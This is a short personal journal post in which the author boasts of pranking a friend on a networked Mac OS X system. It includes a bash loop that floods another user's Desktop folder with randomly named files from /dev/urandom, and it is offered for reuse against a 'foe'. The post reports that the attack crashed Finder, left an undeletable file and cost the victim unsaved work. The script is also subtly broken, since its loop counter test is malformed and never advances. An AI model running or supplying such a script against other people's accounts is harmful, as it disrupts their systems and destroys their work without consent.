Journal superatrain's Journal: Insert text here

while a friend wasnt looking, i made his desktop a dropbox on a macosx system, networked home folders. After running this script for 3 seconds, he had 103 items on his desktop, 1 of which mac os couldnt delete - so it is still there... He was on an imac 10.2, and he lost what he was working on due to pulling the plug cause finder kept crashing and reloading:

#!/bin/bash
a=1

while [ a -le 10 ]
do
file=`tail -n 1 /dev/urandom`
touch ~/../(insert foe name here)/Desktop/$file
done
